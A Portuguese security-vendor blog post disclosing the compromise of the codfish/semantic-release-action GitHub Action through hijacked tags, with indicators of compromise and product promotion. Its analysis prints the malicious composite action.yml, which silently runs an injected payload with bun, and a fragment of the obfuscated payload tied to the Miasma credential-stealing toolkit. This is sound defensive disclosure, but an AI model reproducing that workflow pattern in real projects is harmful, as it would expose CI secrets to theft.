Aikido

Ação comprometida do GitHub codfish/semantic-release-action rouba Secrets de CI/CD

Escrito por
Hunter Schwartz

Em 24 de junho de 2026, o codfish/semantic-release-action Uma GitHub Action foi comprometida por meio de um ataque de commit impostor. Um invasor fez um force-push de dois commits maliciosos no repositório e redirecionou dezesseis tags para eles, incluindo as tags de versão principal flutuantes v2, v3, v4, e v5. Qualquer workflow que referencie a action por uma dessas tags puxará e executará o código do invasor em sua próxima execução de CI.

Esta action tem sido a maneira padrão de integrar o semantic-release em GitHub Actions desde 2019 e possui mais de 100 estrelas no GitHub. Workflows que a utilizam para releases automatizados quase sempre possuem um GITHUB_TOKEN e frequentemente um NPM_TOKEN com acesso de publicação, que é exatamente o tipo de acesso que um invasor deseja obter.

Como as tags foram sequestradas

Tags Git não são protegidas por padrão. Qualquer pessoa com acesso de push a um repositório pode forçar uma tag a apontar para um commit diferente, e o GitHub Actions resolve uma referência de tag no momento em que um workflow é executado. Mover uma tag reescreve retroativamente cada execução futura que a referencia, sem nenhum aviso para a pessoa que escreveu o workflow.

O invasor usou isso contra codfish/semantic-release-action em duas etapas. O primeiro commit malicioso capturou quinze tags: v2.2.1, toda a linha v3 (v3, v3.0.0 através de v3.5.0), toda a linha v4 (v4, v4.0.0, v4.0.1), e toda a linha v5 (v5, v5.0.0). Um segundo commit é um filho direto do primeiro e pegou a v2 tag. Ambos os commits entregam um payload byte-idêntico index.js payload, confirmado por hash.

Nenhum dos commits é um ancestral do principal branch do repositório. Eles foram enxertados como órfãos, depois disfarçados para evitar suspeitas em uma rápida git log verificação. O primeiro commit reutiliza a identidade do autor, a data e a mensagem de um commit real de 9 de novembro de 2023:

commit 5792aba0e2180b9b80b77644370a6889d5817456
Author: Chris O'Donnell <1666298+codfish@users.noreply.github.com>
Date:   Thu Nov 9 16:49:48 2023 +0000

    Merge pull request #195 from codfish/force-install

Esses metadados são reais, extraídos de um merge legítimo no histórico do projeto. No entanto, o conteúdo do arquivo foi trocado pelo payload malicioso.

O que mudou em action.yml

codfish/semantic-release-action originalmente executada como uma action baseada em Docker, construindo um Container a partir do Dockerfile e invocando entrypoint.js. Os commits maliciosos substituem action.yml com uma ação composta em vez disso:

runs:
  using: composite
  steps:
    - uses: "codfish/semantic-release-action@8f9a58f2acdc190c356f79159b5de2548cdb63cd"
      with:
        branches: "${{ inputs.branches }}"
        # ...remaining inputs passed through unchanged
    - uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6"
      if: always()
    - name: Cleanup Action
      if: always()
      shell: bash
      run: bun run $GITHUB_ACTION_PATH/index.js

O primeiro passo ainda chama o real e atual codfish/semantic-release-action, fixado em um commit limpo, para que a ação continue funcionando normalmente e a execução do workflow pareça bem-sucedida. Os dois passos seguintes são executados com if: always(), para que sejam acionados independentemente de o passo legítimo ser bem-sucedido, falhar ou ser ignorado. O segundo passo incorpora oven-sh/setup-bun, uma ação de terceiros real e de outra forma não relacionada, puramente para obter o runtime Bun no runner de CI. O terceiro passo executa o payload, index.js, com bun run.

Os arquivos originais do repositório Dockerfile, entrypoint.js, e entrypoint.spec.js ainda estão no repositório neste commit. Eles simplesmente nunca mais são invocados, já que uma ação composta os ignora completamente. Deixar os arquivos antigos no lugar é uma cobertura de diff mínima. Qualquer pessoa que examine uma lista de arquivos vê o conteúdo usual da ação e nada obviamente faltando.

O payload

O injetado index.js tem 781.580 bytes de JavaScript ofuscado, estruturado como um array de strings com nomes de variáveis codificados em hexadecimal, o estilo de saída de um ofuscador de JavaScript comercial típico:

const _0x307419=_0x42e6;(function(_0xb5d033,_0x1d1124){const _0x23f080={_0x15a6a0:0xf9,_0x3d6efe:0x73a,...

Enterrado no corpo ofuscado está a string thebeautifulsnadsoftime, uma correspondência quase exata para TheBeautifulSandsOfTime e com uma única letra transposta. Essa string identifica um dos canais de dead drop usados pelo toolkit de roubo de credenciais Miasma, vazado publicamente em 10 de junho de 2026. O design do Miasma evita um servidor C2 tradicional. Em vez de se conectar à infraestrutura do atacante, o malware pesquisa periodicamente a API de busca de commits públicos do GitHub por essa string marcadora. Quando encontra um commit correspondente, ele trata o payload anexado como um comando assinado e o executa através de eval(). Isso dá ao operador uma maneira de entregar execução remota de código nova a cada runner infectado sem precisar configurar ou manter sua própria infraestrutura, e sem gerar o tráfego de rede de saída que o monitoramento de egresso geralmente sinaliza.

Conexão com a campanha Miasma

O mesmo TheBeautifulSandsOfTime marcador já aparece em atividade da campanha Miasma contra pacotes npm sob o @redhat-cloud-services escopo, e em vários outros repositórios GitHub comprometidos ligados ao mesmo vazamento do toolkit. Uma vez que uma estrutura de roubo de credenciais como esta se torna pública, ela tende a se espalhar rapidamente, já que qualquer operador pode executá-la sem escrever suas próprias ferramentas. codfish/semantic-release-action se encaixa nesse padrão, outra instância do mesmo toolkit atingindo um novo repositório.

Como a Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para uma cobertura mais ampla em toda a sua equipe, o Device Protection do Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins de IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.

Para proteção futura, considere o Aikido Safe Chain (código aberto). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra o Aikido Intel antes da instalação.

Indicadores de comprometimento

Commits maliciosos

  • 5792aba0e2180b9b80b77644370a6889d5817456 (tags v2.2.1, v3, v3.0.0 através de v3.5.0, v4, v4.0.0, v4.0.1, v5, v5.0.0)
  • bcb6b1d409144318e8fad2171d6fe06d02299d1a (tag v2)

Hash do payload

index.js (ambos os commits maliciosos): sha256 9f93d77d32833a515bc406c46da477142bb1ac2babeecb6aa42f98669a6db015

Outros indicadores

  • String de marcador de dead drop: thebeautifulsnadsoftime
  • Runtime Bun incluído via oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6

Tags afetadas

  • codfish/semantic-release-action@v2
  • codfish/semantic-release-action@v2.2.1
  • codfish/semantic-release-action@v3 através de v3.5.0
  • codfish/semantic-release-action@v4, v4.0.0, v4.0.1
  • codfish/semantic-release-action@v5, v5.0.0

Confirmado limpo

  • codfish/semantic-release-action@v1.0.0 através de v1.10.0
  • codfish/semantic-release-action@v2.0.0
Compartilhar:

https://www.aikido.dev/blog/compromised-github-action-codfish-steals-secrets

Verificar por malware

Comece Gratuitamente
4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.